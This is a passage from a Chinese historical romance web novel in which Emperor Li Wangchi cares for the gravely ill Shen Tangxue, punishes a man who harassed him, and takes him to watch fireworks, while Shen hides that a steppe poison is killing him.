他似觉有些眼熟,皱眉想了半晌,方回过神来:这好似是当年沈棠雪下毒那日带的帕子,他曾见过。 他暗暗看向那人,眼神定定,问道:“他让你干什么事?” “他让草民给他往宫里送一只野猫。”那人顿了一顿,似怕他怪罪,警惕地后退了一步, “草民并不知其中内情!只是那位公子给了许多钱财只办这一件事——草民便答应了,其他什么都没干啊!” 他没有同此人计较的打算,瞥他一眼点了点头,却又紧紧盯着字眼追问道: “那他让你送猫做什么?” “这个……草民便不知晓了。那公子只是特地叮嘱我‘午时将猫送来’,其他便一概不知了。” 李妄迟眼神一暗。午时……是他当时喝药的时间。当初那只溺死在药罐里的野猫竟也是沈棠雪安排的。 想起当时沈棠雪衣物上的细小猫爪,他指尖一松,暗暗自嘲一声。 也是……当初宫中怎么会有野猫呢?如若不是沈棠雪精心设计,那猫又怎会这般巧合地在他喝药之前出现在那药罐里。 只是当时他就算喝了那下了毒的药,也不会死去。沈棠雪却是因为野猫的事被发现的。 阿雪……宁愿暴露自己也不愿他有一丝风险么? 李妄迟蜷了蜷手指,心中涌起密密麻麻的酥麻感。 前些日子阿雪冷嘲热讽地说当年之事是生怕李锦殊上位导致生灵涂炭。 可哪怕是为了百姓,他就当真没有因为他而犹豫一瞬吗? 他突然有一种很想去见沈棠雪的冲动。 他正欲给点银子打发了人便往谢家宅院走去,却在霎时想起沈棠雪那日看他的眼神,踌躇着停了脚步。 他呼吸放缓,思索片刻,最终沉默地侧过脸去问身边人他的行踪。 …… 大雪纷飞,沈棠雪将双手蜷在披风之中。他跟在谢将时身后,看着愈来愈近的谢府,久违地感受到了一丝暖意。 当年他见过谢父谢母。二人为人和善、待人得体,感情甚笃,是极好的一对璧人。 待他也如亲生儿子一般,如沐春风,让人心生亲近…… 如今他与李妄迟的形势并未那般紧张,也能来见见了。 想到此,他不由得噙起一抹淡笑,穿过长廊,看着映入眼帘的厅堂,看见了早早便在门口等着的谢家父母二人。 他连忙笑着往前走去,便见谢母笑着将他一把揽过进屋去,一面寒暄,一面带到椅凳上给他沏一壶热茶, “千盼万盼,总算把你给等来了。” “我也思念二老得紧了。” 谢母才不信,“你呀……回京了也不同我们说,将时也帮着瞒。我们还是听宅边百姓提及才知晓此事。却万万没想到你也没来见我们一面。” 沈棠雪有些愧疚地笑了笑,“沈某无礼了……当时确是不太方便。” 谢母叹了口气,并未过多打探,只看了他半晌,凑上来摸了摸他的脸,轻叹道: “怎么瘦成这样了?当真要好好地补一补。府中物什不多,但一些上好的补药还是有的,等会让将时一一帮你带去。” 沈棠雪眨了眨眼,笑着应了。但他心知肚明,自己的身子就算灌再多的补药也是无用的。 这些时日……李妄迟带来的太医也给他开了许多名贵药材,也无甚效果。 他的身子早已无力回天了,但他自己知晓便罢了,还是不要驳了他们的好意罢。 他生怕二人再问些他身子之事而招惹担心,只避开眼去,低头去喝茶。 茶水微微晃荡,入口是铁观音的清香。细细品来,还是上好的品种,是三年前……他喜欢的。 闻着熟悉的香味,他不由得眼睫颤了一下。谢父笑着问道:“喜欢吗?” 沈棠雪转过头去,真诚地笑着点了点头。 谢父满意地笑道:“这茶是陛下听说你要来府中,特地拿过来的。” “他同我们说你喜欢这个,但这茶叶只有宫中还有,于是一次送了许多,等会你也一并带回去。” 沈棠雪一愣,低头看向杯里的茶水,有些诧异。 这茶……是李妄迟知晓他要来谢府,特意送来的吗? 他的喜好,他也还记得? 耳边谢父还在感叹,“听闻陛下前些日子还送了好些东西到你那儿,瞧着那副模样,阿雪,他依旧将你放在心上那。” 他一时有些无言,不知说什么好,忍不住指尖微动,缓缓蜷起。 “如果没有当初那事儿,你留在陛下身边那该多好啊,现下又怎会是这般模样……” 沈棠雪眼睫微颤,也想象不到如果没有那事如今会怎么样。 但他不后悔,倘若他不这般做,结局不一定会是圆满。 谢父似是觉着自己戳到他的伤心事,干巴巴地补救道: “如今李锦殊的党羽都被斩首示众,自己也两个月后便要问斩,一切都过去了……陛下又仍这般在意你,为何不同他和好呢?” 这下沈棠雪心头一荡,缓缓颤了颤眼睫,有些恍然。 这倒是真的。 草原已然化作虚无,李锦殊的计谋化为泡影……所有人也都在告诉他,一切都过去了。 只有他还被困着,觉得没过去,至始至终地在患得患失…… 本以为李妄迟这三年变了许多,与草原那些人那般阴晴不定、若即若离…… 可他好似还是纯粹的。 对他呵护有加、无微不至…… 其实变了的人……是他。 他颤了颤眼睫,有些恍然,混沌之间也不知晓自己后来回答了什么。 只是想起谢将时前几日同他说的“李妄迟其实可能并未全数知晓当年之事”,思绪神游…… 连自己也想不明白了。 唇齿溢满的是铁观音的清香,感受着身子日渐虚弱无力,沈棠雪闭了闭眼,想着: 爱意是会消磨的……左右不过两个月了,有些东西,他是不是不要太执着了? …… 出府后,不知是否要入春了,下起了绵绵小雨。 雨滴滴滴答答地落在伞面,又顺势滑落成了雨帘,隐隐绰绰了面前的景象,显得雾蒙蒙的。 霎时温度骤降,周围好似冷得刺骨,潮湿的冬风直往他的披风里面钻。 沈棠雪转眼望着细密灰蒙的雨景,眼睫微颤,抬手去接雨。 只一秒,黏腻潮湿的雨水顺着指尖滴下。 他手指一收,掌心便被按上指腹残留的冰冷温度。 他没待很久,兀自上了马车,可好似还是把雨水的冰冷气息带进来了。 侧头去看,湿哒哒的帘子滴着水,水汽填满了整个马车,让人的心情都骤然沉闷。 沈棠雪轻叹了口气,转眼缓声向侍人要了暖炉,可好似还是没有缓解一分。 这一路的路途分明不远,他却觉着随着马车的颠簸而头晕脑胀,闭着眼浅寐,眉心却始终是蹙着的。 下车时,已然昏昏沉沉。 沈棠雪揉了揉眉心,装着若无其事的模样进了屋。却不知怎的,思绪模糊之间,却有点照顾不好自己了。 他低声向侍人要了杯温水喝下,没想其他,便兀自睡了。却没想到夜半浅眠,时而惊醒,竟发起热来。 迷迷糊糊之间,听见有人风尘仆仆地进了屋,低声将沾满水汽的披风递给侍人,裹挟着令人安心的气息轻声靠近, “他还醒着吗?” 22、第二十二章 沈棠雪梦中迷迷糊糊,微眯着眼,看着来人的眼神懵懂,眸中水光潋滟。 分明似有睡意,阵痛却一下一下地刺激着脑袋。他并不好睡,疲惫着眼神看着来人,嗓子沙哑得说不出话来。 李妄迟看着他这副模样,缓缓走近,轻叹一声,三两下脱了鞋袜上榻,缓缓伸手将沈棠雪搂在怀中。 靠着的胸膛似是被衣物包裹捂热,带着裹挟而来的温暖。传递在皮肤之间,有暖和又安心的温度。 沈棠雪舒服地喟叹一声,循着温热的源头又往他那里靠近了些许。 李妄迟垂眸看着他在他怀里微闭着眼的模样,伸手揉了揉他的发顶,有些无可奈何地倾身靠近,在他耳边轻道: “怎么只离开你一会,就把自己照顾成这样? 沈棠雪抬眼看他,只觉烫热的气息盘旋在耳边,听不清他说的什么,也无法辩驳,只茫然地抿了抿唇。 下一秒,一只温热的掌心贴上他的额头,沈棠雪舒服地微眯起眼,头微微靠着蹭了过去。 绸缎般的乌发披散在李妄迟的臂间,柔软的唇瓣轻轻溢出夹带病意依恋的呢喃哼哼。 被挑起下巴时,他的眼尾泛着柔软的薄红,连带着眼神都无害懵懂,泛着缱绻的水光。 李妄迟的心缓缓变沉,将人抱得更紧,喃喃道:“你这样……我真是不敢离开一分。” 一会儿,一只干燥温热的掌心覆住眼睛。令人安心的温度让睡意袭来,沈棠雪肩头一松,缓缓闭上眼。 他顺势本能地扑向热源,双手轻环着李妄迟的腰,找了个舒适的姿势睡去,纤长的睫羽在他的掌心扑闪,睡颜乖顺。 李妄迟低头看他许久,没敢动一下,生怕扰了他本就浅淡的安眠。 待到怀中人缓缓传来平缓的呼吸声,他才缓缓凑近,在他泛着薄红的侧颊亲了一下。 窗外雨水淅淅沥沥下个不停,如碎冰一般打在窗沿,发出轻微的噼里啪啦的声响。 忽而电闪雷鸣,天色雷霆破光,李妄迟沉着眼神,捂住沈棠雪的耳朵将人又往怀中搂了几分。 却没想到过了一会儿,怀中人的身子却倏然颤抖起来。 沈棠雪似是惊醒,整个人都颤了一下,发出痛苦的呜咽。李妄迟连忙将人抱紧,紧张问道: “怎么了?” 沈棠雪不答,只是蹙着眉将自己蜷缩成一团,身子抖得愈发厉害。 李妄迟连忙下榻去唤太医来,拿着个暖炉给他抱着,让他好歹能舒服些。 太医来时,已然好些时候了,他诊脉之时沉吟道: “陛下,此为小贵人曾经雨夜寒气入体所致,他身子本就虚弱亏空,又因寒气入体并未调理,冷气早早钻入骨髓,因此雨天会疼痛难忍。” 李妄迟定定地听着,似是想到了什么,沙哑问道:“……他这病,是何时所致?” “应是一个月前。” 一个月前…… 李妄迟闭了闭眼,只觉指尖都几乎要失去力气。一个月前是沈棠雪刚回来的时候,那时……他做什么了? 他把人丢进了瞬鸿宫。 那个死过人……冷得跟冰窖一样的瞬鸿宫。 再睁眼,李妄迟的眼眶有些红了。他转眼看向床榻上颤着身子将自己蜷缩成一团的沈棠雪,眼里只有无尽的懊悔。 “李妄迟……” 听着沈棠雪传来细微的哽咽呢喃,李妄迟快步走近,拉着他的手道: “在,我在。阿雪,我在……” “好疼……” “哪里疼?” “骨头疼,哪里都疼……” 李妄迟的眼中闪过一丝刺痛,忙不慌将人又重新揽在怀里,心疼得无以复加。 分明是他造成的过错,他却只能看着自己的爱人痛到骨子里,自己却无能为力…… 他几乎要嗓子发紧得说不出话来,环着沈棠雪的脊背将头埋进他的颈窝。 听着沈棠雪苦痛的呢喃,他不住地侧过头去吻他的脖颈,亲他的侧颊,安抚般地轻哄道: “阿雪……不痛了……很快就不痛了……” 雨快停了。 淅淅沥沥的雨声渐弱,微光缓缓亮起,阳光洒进窗台……直至听见清脆的鸟鸣。 李妄迟仍旧半搂着他,侧过脸感受着怀中人逐渐平缓的呼吸,才缓缓松了一口气。 他将人小心地轻托着脑袋放回床榻,掖好被褥,看了他许久才走。 临走前,他转过头对着侍人轻道:“他若有事立马传话进宫告知于我。” 他又顿了顿,似是想到了什么,放缓声调道:“……无事不要叨扰他。” …… 沈棠雪一觉醒来时,额上有薄汗。他缓缓睁开眼,看着屋内一切重归平静的模样,缓缓坐起身。 似是无事发生,连侍人都一声不吭地守在门外,可床榻是热的,似还残留着另一人的气息,昭示着昨晚那人来过。 他颤了颤眼睫,有些疑惑地皱了皱眉,吃痛地捂着脑袋“嘶”了一声,顿时昨日断续的记忆涌入脑海。 李妄迟轻哄着他入睡……呢喃地在耳边唤着他……揽着他的脊背将他拥入怀中…… 他又照顾了他一宿么? 沈棠雪指尖微动,缓缓闭了闭眼,半晌才缓过神来。见着外头雨停的模样,起身慢慢向前走去。 屋外雪白一片,昨夜雨落,冰雪消融,只剩湿滑的一隅。晨时阳光又洒落,于雨雪中照映出亮晶晶的光芒。 沈棠雪缓缓拢着披风往前走,走至院中,抬眼望着开满红梅的庭院。 他似觉花枝晶莹剔透得漂亮,信手摘了一支,轻柔地捻着它的枝干细细地看。他噙起一抹淡笑,看了半晌才出了门。 一出宅院,街道中的热闹扑面而来,雨后落雪的空气清新许多,还带着松雪裹挟着水汽带来的放松感。 他漫无目的地走,不自觉步伐都轻盈了些许。 沈棠雪戴着面帘,只余一双露出的漂亮眼睛左顾右盼,面帘之下一张噙着笑意的唇若隐若现。 见着左右摊位人来人往,他笑意渐浓,却在环视之间看见街道两侧的一个摊位面前有一对璧人的身影时,眼神顿了一下。 左侧那位姑娘轻拢着雪白的绒毛披风,手上拿着一串晶莹剔透的冰糖葫芦,笑着扬起头来,伸手去喂身边人。 那位男子揽着她的腰缓缓倾身凑近,笑吟吟地看着她,低下头吃了,又伸手宠溺刮了刮她的鼻尖,被姑娘吃吃地笑着躲开。 他不由得勾起一抹怀念的淡笑,有些恍然地柔和下眉眼,纤长睫羽之下的瞳孔却有些黯然。 还未东窗事发之时,他也曾与李妄迟这般出来玩过。 那时两人挤在一把油纸伞里,李妄迟总是笑吟吟地揽着他,连呼吸都与他凑得很近,总凑到他耳边同他说些小话。 他会在摊位挑些新奇玩意送他,又饱含着爱意一双眼睛定定看他许久,真诚地说道:“阿雪戴这个真好看。” 那时……李妄迟还送过一只亲手做的发簪给他,他欣喜很久,戴了很久…… 却也不知在草原时被谁给丢了。 想到此,沈棠雪有些闷闷地垂下眼睫,有些沮丧。他独自一人缓缓往前走,骤然间,又觉着出几分天地孤寂的意味来了。 面前一座茶肆映入眼帘,还带着小二热情的吆喝。他闷闷地想着今日无事,索性去听书消遣。 于是转眼遣散了悄然跟在他身后的侍人,独自一人往里走去。 却没想到刚入茶肆……发现说书人说的竟是…… 那个故事。 23、第二十三章 “有道是——一书生进京赶考胸有成竹,与同年相谈甚欢,却不曾想,家中美娇娘早已病入膏肓、缠绵病榻……” 说书人醒木一敲,荡起回响,气势雄厚, “那女子通情达理、温婉可意,拖着一副病体强撑照顾郎君许久。” “待他离去,生怕误了他的仕途的她却虚弱得一发不可收拾。” “敝衣粝食、穷困潦倒,待郎君金榜题名,少年状元郎回乡,却见此景象……” 说书人抑扬顿挫的声调让听客提起心来,他们纷纷道: “妻子情深意切,这状元郎定是对她结草衔环,接进京里去好生照料着!” “就是啊!寻位名医药到病除,自此二人浓情小意、幸福美满——” 那说书人却慢悠悠地摸着自己的白须,勾起一抹意味不明的笑,卖了个关子道:“非也,非也——” 听客不满道:“那是什么?快说!” “那书生对照料之事起初尽心,却逐日不耐、心生厌弃——” “弥留之际,美娇娘看出他心烦意乱,知晓他心意,黯然神伤……” “不日撒手人寰。” 沈棠雪走近的脚步一顿,缓缓在食案上坐下。 “之后恰逢诏书快马加鞭,书生被提拔入京,受京官看重,娶一美貌京城小姐……再未回过家乡。” 说书人话音刚落,一阵争议的话语随之袭来, “此人如此忘恩负义!当真猪狗不如!为何未落得个身败名裂的下场!” “怎说!这书生分明升官发财迎娶美妻实在人生圆满哪!” “多年情谊不敌衣不解带的短暂辛劳,人间情爱实在短暂哪……” 沈棠雪呼吸放缓,连指尖都不自觉蜷了一下。半晌,他沉默着垂下眸子,也不知道在想些什么。 耳边有人叫好,有人叫着要换,他什么也没说,只是轻瞥见旁边食案上的人叫了酒,也叫了一壶清酒来。 酒液入喉,顺着身子仿若缓缓淌入血液里,连指尖都暖得发热。他轻轻闭眼,连呼出的气息都是烫的。 他也一样……活不久了。 昨日大病一场,如今连唇瓣都发白。他能感觉到自己内里虚浮,连站起身都觉着发晕。 ……不论太医让他喝了多少药,好似都只是虚无缥缈的,在体内转上一转便过了,没有留下一分。 像他的寿命一样,不容拒绝地缓缓流逝。 耳边嬉笑怒骂,酒过三巡,他的眼前有些模糊。茶肆的欢声笑语都好似变作一场幻梦。他恍然着眼神,却听耳边一声轻唤, “美人……” 沈棠雪撩起眼皮望去,只见一人款步走到他面前,语气轻浮。 那人指节轻轻重重地扣食案三声,冲着他挑了挑眉,带着讨好的浑浊笑意。 沈棠雪微眯起眼,看不清来人,只迷茫着眼神,眸中水光氤氲。 那人瞧着他的面容,似是看入神了,有些迷恋地伸手来抓住他的手腕,却被他眉头一蹙,躲了过去。 他正欲不满地瞪那人一眼,却骤然被挑起了下巴。 那人不知何时缓缓凑近,端详着他的面容弯着眼睛上下打量着,半晌色眯眯地轻笑两声, “美人……小爷也是京城说得上号的权贵,跟爷走,保你衣食无忧……给你个名分……” 一阵汹涌的恶心之意涌上心头,沈棠雪冷眼看他,别过脸去不理睬,自顾自地向后退了两步…… 却被一只手摸上了脸颊。 湿热的触感让他不自觉打了个寒颤,他猛地别开脸去。 可沈棠雪刚喝了酒,此时无甚气力,低垂着眉眼的模样倒显得好乖。 那人扬了扬眉头,眼神似有欣喜,正欲上前。 下一秒却觉着周遭气氛不对,空气都霎时冷了下去。 那人愣了愣,转眼望去,对上了李妄迟沉沉的眼神,顿时如一盆冷水泼下,哆哆嗦嗦地道: “陛、陛下!” 沈棠雪若有所感地转过头去,被李妄迟幽幽望来的眼神刺了一下。 一时茶肆被遣散,不知何时说书人敲了醒木早已离去。吃茶听书的人见着侍卫涌入而来,也识时务地快步离去。 “这不是沈太傅吗,也有人敢去问津,不要命啦?” “瞧着陛下这阴沉的模样,恐怕那人要遭殃了!” “也是活该……此人是京城有名的纨绔,家中妻妾成群,善爱强抢民男民女!众人早已苦他多时——” “那他这回可真是踢到铁板了!” 那人闻言脸色霎时吓白,哆嗦得说不出话了。他的腿几乎都要吓软,只惊恐地看着沈棠雪,不住地求饶道: “沈太傅!沈太傅我不知晓是您啊——小的有眼不识泰山!小的该死!您大人不记小人过,饶了我吧!” 沈棠雪转眼看了他一眼,不答,只定定地看着李妄迟。 那人硬着头皮强忍着害怕转过眼去,哆嗦着双腿,几乎要冲着李妄迟跪下, “陛下!陛下!臣不知他、他是沈太傅啊!臣再也不敢了!饶了臣这一次吧!” 沈棠雪眼睫微颤,不躲不避地看着李妄迟,漂亮的一双眼眸中目光缓缓流转,停留在他的脸颊之上。 李妄迟冷眼看了那人一眼,缓缓走近,脸上余怒未消,阴沉地抓住那人的手腕,转眼问他道: “他哪里碰你了,右手?” 沈棠雪缓慢地眨了眨眼,“嗯。”半晌,他又沉思着补充道,“还有左手。” 李妄迟的语气立马沉了下来,他看着沈棠雪清澈的眼神,和方才那人眼底的旖旎,越想越气,沉声转眼吩咐道: “将他的双手砍了。” “陛下——饶命啊陛下!臣再也不敢了!饶了我这一次吧陛下!” 一时屋内发出尖锐的求饶声,那人痛哭流涕地跪下来磕头,又被侍卫强硬地揪着衣襟拽起,动弹不得,只蚍蜉撼树地徒劳挣扎。 沈棠雪仍心不在焉,那一双漂亮眼睛如玻璃珠一般闪烁着泠泠的微光,转眼往发声处看去。 却见李妄迟轻声走近,绕到他身后,缓缓遮住了他的眼睛。 沈棠雪一愣,睫羽在他的掌心扑闪了一下,便听李妄迟道: “别看。” 随着一声短促的尖叫声,血腥味扑鼻而来。一时屋内霎时安静了,只剩似铁锈的浓重味道蔓延在鼻尖。 沈棠雪微不可察地皱了皱眉,随后似是想到了什么,轻轻侧过脸转过身去,看向李妄迟。 他浅醉着的脸颊溢着暖意的血色,看着李妄迟的那一双漂亮眼睛灼灼,像是眼中有一团温柔的火,忽亮忽暗的闪烁着。 似有万千心绪。 脑袋沉闷的恍然之间,他脑海中浮现出刚才听见的话本故事。 他不由得在想:如若他死了,李妄迟会怎么样呢? 会怀念吗?会为他伤心吗?还是跟那个薄情书生那般……转眼便忘了。 他想不明白,可他……不想被忘记。 沈棠雪的眼中思绪万千,可他只是带醉在笑,说:“李妄迟,我快死了。” 你会不会觉得厌烦? 他也缠绵病榻,会弱不禁风……还是无力回天的那种。 李妄迟看着他几近无波的眼神,看不透他的眼神,心里咯噔一声,只觉得一阵慌乱油然而生。 他看着沈棠雪愈发瘦弱的模样,心起一阵恐慌之感,一瞬间有想将人抱回府里再好好养着的冲动。 下一秒又在琢磨着他话中的意思。 他是听到了什么,看到了什么,还是觉着本就不剩时日、想来茶肆放纵一下寻个趣儿,结果被他搅和了? 这样的语气是埋怨吗?还是控诉?可是方才那纨绔当真不是什么好人…… 李妄迟缓缓低下头去,自觉没资格管他,可看到那人靠近的模样,他忍不了。 …… 回府之时,酒气渐散,冰冷的寒风将人吹得清醒。沈棠雪斜睨望去,只见李妄迟若即若离地在三步之外。 他的手虚虚地搭着他的披风,不舍得离远一步,又有点不敢对上他的眼睛。 沈棠雪缓缓叹了一口气,直至入府进了里屋,他才转过眼去,定定地看着李妄迟,对上他的眼神。 李妄迟的眼神百感交集,似是有些不安,不敢靠近,只别过脸去,将情绪全数敛在心里。 半晌,他又小心地探着沈棠雪的眼神,小心翼翼地将他打量一遍,嘶哑地问道: “阿雪……今日喝药了吗?” 沈棠雪一愣,“……喝了。” 李妄迟点了点头,闭了闭眼,又没了话语。 他沉思了半晌,又缓缓抬起眼来,心疼地看着他日渐瘦削的脸庞,用眼神描摹着他的五官。 沈棠雪心尖一颤,只觉今日的李妄迟很不一样。 那样温柔缱绻的眼神……好似如三年前那般,定定地望进他心里。 半晌,只见眼前人身形一动,缓步靠近,小心翼翼试探地张开双臂将他揽入怀中。 李妄迟生怕惊扰了他一般,将动作放得轻,浅淡地呼吸着将头埋入他的颈窝, “抱一会……就抱一会。” 沈棠雪指尖一顿,缓缓抬起手来,却被他身子一僵地轻轻伸手环住。 李妄迟缓缓抬起眼来侧过头看他,似是安抚似是哀求道: “别推开我好不好……就这一下。” 24-30 第24章 第二十四章在他的唇角亲了一下。…… 李妄迟生怕惊扰了他一般,将动作放得轻,浅淡地呼吸着将头埋入他的颈窝, “抱一会……就抱一会。” 沈棠雪指尖一顿,缓缓抬起手来,却被他身子一僵地轻轻伸手环住。 李妄迟缓缓抬起眼来侧过头看他,似是安抚似是哀求道: “别推开我好不好……就这一下。” 两人的呼吸交缠,沈棠雪当真顺着他的话语没再挣脱,缓缓放松下身子。 李妄迟似珍惜地双手环住他的脊背,侧过头轻轻闭上了眼。他好似也有些疲惫,力道轻柔地环着,轻轻靠在沈棠雪的肩头。 像对着珍宝一般不肯撒手,也怕是个梦,梦醒了,怀中人便远远离他而去。 不知过了多久,李妄迟的声音轻缓地在他耳边响起,“近日喝了药……有好些吗?” 沈棠雪缓缓睁眼,想说没有,但这些日子李妄迟实在尽心,他也不想扰了他的心意,于是犹豫着不知道该作何回答。 他斟酌之时,却感受着那双环在脊背上的手似是动了一下。 那手缓缓移向他的腰肢,像是丈量一般轻轻绕了一圈,像一根羽毛轻轻洒在他的腰间。 随即李妄迟语气黯然,“好像也没有好一点呢……又瘦了。” “……太医开的药对你没有一点作用么?” 沈棠雪也不知道,只缓缓低垂下眉眼来同样靠在他的肩头,呼吸轻缓,似在回应。 可两个人都再次无言。 不知过了多久,李妄迟才终于缓缓开口,打破这个不可控制的沉默, “阿雪……我答应你的一件事马上要完成了,你等等我,好不好? 沈棠雪不明白,愣了一下,疑惑问道:“什么?” 却见李妄迟只是笑了一下,没有说话。 …… 次日傍晚,夕阳西下,晚霞抹满了天空,火红得耀眼。 沈棠雪刚走出屋去,便听街道熙攘,有人大骂着, “当真没想到两朝老臣端着光风霁月,平日竟贪腐至此!” “何止啊!私底下他的众儿女仗势欺人,暗暗收了人多少银子!惹得百姓早就苦不堪言了!” “如若不是陛下来查此事,恐怕都不知还要被这些恶人欺压多久!” “确是如此!但说起此事,陛下的态度也耐人寻味啊——前脚太尉家贪腐之事方查清,后脚便废除皇后,将人一并随太尉家流放……” “真是畅快!我就说皇后之前对沈太傅那般作派,陛下肯定忍不了!” 沈棠雪一愣,霎时有些怔怔地顿在原地。 太尉家贪腐……废后? 这些日子李妄迟瞧着疲惫是为了这事?昨日李妄迟带着笑意对他说的……也是这事么? “据说此事牵扯甚大,之前这么多年陛下都是睁一只眼闭一只眼,却没想到在这般节骨眼上将人一锅端了去……” “只是不知晓如今后位空悬,陛下会不会将沈太傅纳为皇后啊?” “何止是后位空悬,整个后宫就没纳人呢!当真是要为着心上人守身如玉了!” “陛下要纳沈太傅,也得人家乐意呀……你是没瞧见昨日陛下那般小心翼翼亦步亦趋的姿态……” 也得他乐意? 话音刚落,沈棠雪指尖一蜷,生怕被一旁观望的百姓发现身形,正欲往旁躲去。 却见道路一旁,一个熟悉的身影悄悄走近。 李妄迟似是心情愉悦,连脚步都放得轻快,这些时日的疲惫一扫而空,嘴角还噙着一抹笑意。 他缓缓走至沈棠雪身前,却在听见百姓的话语时脚步顿了一下,抬起头来小心翼翼地看着他。 像是验证百姓说的话。 沈棠雪还未从那些人猝不及防的话语中反应过来,转眼又见人霎时逼近,一时不知作何反应,有些无措地站在了原地。 李妄迟缓缓拉住他的手,问道:“你有听见吗?”他们说的话。 他的眼神真挚,仿若饱含万千思绪,将他承诺的、想给的都做给他看,几乎要捧出一颗沉甸甸的真心,送到他手里。 沈棠雪闻言也放轻了声调,缓慢地眨了眨眼,缓声道:“听见了。” “那你……” 李妄迟眼神微亮,霎时又黯淡下些许,似在踌躇,半晌,又自己止了言语。 他只隐约其辞地说道,“能不能跟我去个地方?” 沈棠雪还在等着他开口,却不想等见了这个,连到了嘴边的话语都霎时咽了下去,闷声点了点头道: “……好。” …… 天色暗得快,不过眨眼的功夫便如降下幕布一般,黑沉沉了个干净。 夜空余星星三两颗,地上人影交叠,灯火辉煌,漫天人山人海景象,如同一阵朦胧肆意的梦。 他们二人携手走在其中,被忽明忽暗的灯火照映得隐隐绰绰。 无人认出他们,于这热闹洋溢的氛围中,一切爱恨都掩入黑夜,仿若……三年前的一个寻常夜晚。 沈棠雪恍然着眼神,不自觉被氛围洋溢得轻松,声调有微不可察的轻快。 他侧过头来,嘴角噙着一抹浅淡笑意,“你要带我来看什么?” 李妄迟深深看了他一眼,转眼看向街道尽头的绚烂灯火,声音夹杂在百姓的欢声笑语之中, “你还记得那场焰火吗?” 沈棠雪眨了眨眼,没反应过来,“什么?” 李妄迟弯了弯眼睛,缓声道:“那时……我们在亭台楼阁看焰火,你说挤进人群、于人潮之中望着应当也不错。” “你看……焰火来了。” 话音刚落,刹那天空泛起绚烂光芒,无数焰火于皇宫之中往上徐徐升起—— “嘭!” 烟花泛着五颜六色的光彩,缓慢又优雅地绽放,半晌星星点点徐徐散开,流落于夜空之中。 那是京城人于佳节欢庆才能看见的光景。 沈棠雪怔怔,下意识顺着视线最亮的微光抬眼望去。 只见漫天星光倒映在他漂亮的眸子之中,宛若凝成了一弯月亮,将他的脸颊都照映得莹白,渡上了一层柔和光晕。 星星点点于他的眸中,将他的眼中碎光都夹杂出一丝动容。 沈棠雪转眼望去,于灯火的朦胧之下看向李妄迟。 也对上了他同样温柔看他的视线。 李妄迟借着莹莹月光目不转睛地看着他,眉目灼灼,于人群不绝于耳的感叹声中,轻轻呢喃一句, “可不可以再一同看一场焰火……和三年前那样。” 但这呢喃于风中瞬间散去,未入沈棠雪的耳朵。 沈棠雪只是看着他灼灼的目光笑道:“怎么了?” 李妄迟笑了笑,并未将那话重复,只是道:“无事,我就看看你。” 不知看了多久,他缓步凑近。目光流转之时,连眉眼都显得温柔。他随即微微俯下身来—— 霎时烫热的呼吸喷在沈棠雪的侧颊。 见着身前人不自觉眼睫微颤的模样,李妄迟缓缓低垂下眸子侧过脸,捧住他的脸…… 在他的唇角亲了一下。 沈棠雪缓缓睁大了眼,便对上了他凝定温柔的眼神。 李妄迟浅淡笑着看他,右手不安分地去勾他袖中的纤长手指。 修长的指尖触碰上他的指尖,沈棠雪面色不显地缓缓别过脸去,脸颊浮起一阵微不可察的薄红,随即—— 悄悄地回勾了一下他的手指,一触即分。 …… 方才他回勾了手指之后,李妄迟似是愣神,久久未曾回神地怔在了原地。 沈棠雪觉得丢人,快步离去,又被他跟了上来。 “阿雪……你要我了?” “没有。”沈棠雪板着脸道。 “真的没有吗?”李妄迟看出他眼神的动容,狡黠地笑了一下,贴着他的脸颊又凑了过去。 他在沈棠雪的侧颊亲了一口,亲昵地将人隔着披风搂在怀里,脸上的惊喜掩饰不住,又将人袖中冰冷的手藏在掌心里。 沈棠雪本欲想躲开,见着他那般欣喜的神情,还是没有驳了面子,只是轻轻别过脸去。 这一路好短又好长,漫漫雪夜也觉着温暖。沈棠雪有些恍然地看着万家灯火,不由得有些动容。 他放缓声调,将要开口同李妄迟说些什么,却倏然感觉到身子一僵。 他一愣,空着的那只手僵硬地一蜷。 两人十指相扣直到谢家宅院,李妄迟不舍地看着他,本想留下,又恐扰了他的安眠,连忙又止住了闹他的动作, “阿雪……我明日再来寻你。” 沈棠雪笑了一下说:“好。” 他的眼中有笑意,却倏然又涌上来一些百感交集,直至看着李妄迟离去,他温柔的浅淡笑容才敛了去。 沈棠雪缓缓垂下眸子,像是终于支撑不住一般骤然变了个人,呼吸逐渐轻缓,轻拉着披风闭了闭眼。 他的脚步渐慢,直至到一处空白雪地时,他猛地躬起身子吐了一口鲜血来。 滴答,滴答。 血液顺着唇角划至下巴,最终聚起一滴滚圆的血珠,摇摇欲坠地跌进雪白的松雪中,染起一抹鲜红。 随即那一抹刺眼的鲜红又被一片片落下的雪花埋入雪中。 “大人!大人!” 沈棠雪逐渐气若游丝,瞳孔微微涣散地转眼看向发现他的侍人。 他脸色苍白,睫羽微颤,露出袖中的苍白手指紧紧地按住自己的脖颈…… 像雪夜折翼的蝴蝶,无力地扑腾着断翅。 侍人连忙过来搀扶着他,小心翼翼地带他往里屋走,额上冷汗直冒,不敢多吭声。 见着他这副脆弱模样,侍人又欲言又止,直至将沈棠雪带到椅凳上,他才抽出空来,正欲慌忙去喊太医—— 却被沈棠雪轻轻揪住了袖子。 沈棠雪面颊苍白,却扯出一个虚弱的笑来,食指放至唇边做出一个噤声的动作, “嘘,别说出去。” 第25章 第二十五章他不想求到他身上。…… 沈棠雪这般说,那侍人却是不敢瞒。他手忙脚乱地踌躇了半晌,还是蹑手蹑脚去请了待在府中照料的太医来。 此时夜已深了,太医还是来得很快,不至半刻钟便听见了渐近的脚步声。 沈棠雪正坐在椅凳上撑着头浅寐,听着脚步声缓缓睁开眼来看向眼前人。 太医的额上沁着汗,似是不敢耽误一分,脸上有焦急。匆匆忙忙地进屋看他一眼,连忙上前给他诊脉。 他的双指搭在沈棠雪的腕间,脸上涌起一阵凝重之意,眉头缓缓紧锁。 沈棠雪见状,眼神平静地看着他,半晌笑了一下,问道:“我还能活多久?” 太医顿时大惊失色地抬眼看他,脸上露出难言的惊慌,“小贵人……这种话可说不得啊!” 沈棠雪笑了笑,对诊断结果心知肚明。他暗暗将人拉起, “无事,直说无妨,我不告与李妄迟知晓。” 太医踌躇地站在原地,忐忑地看了他几眼,见他实在神情平和,才咽了口唾沫小心问道: “您……曾经是不是服用过许多由杜余草熬制成的药?” 沈棠雪一顿,“嗯”了一声。 太医道:“杜余草……为草原独有,中原人并未接触过此物,臣亦是如此。无人知晓解药为何物,这些时日的试药也对您也毫无作用……” “但……您服用杜余草的时日已久。恐怕如今就算有解药,也未必能痊愈。” 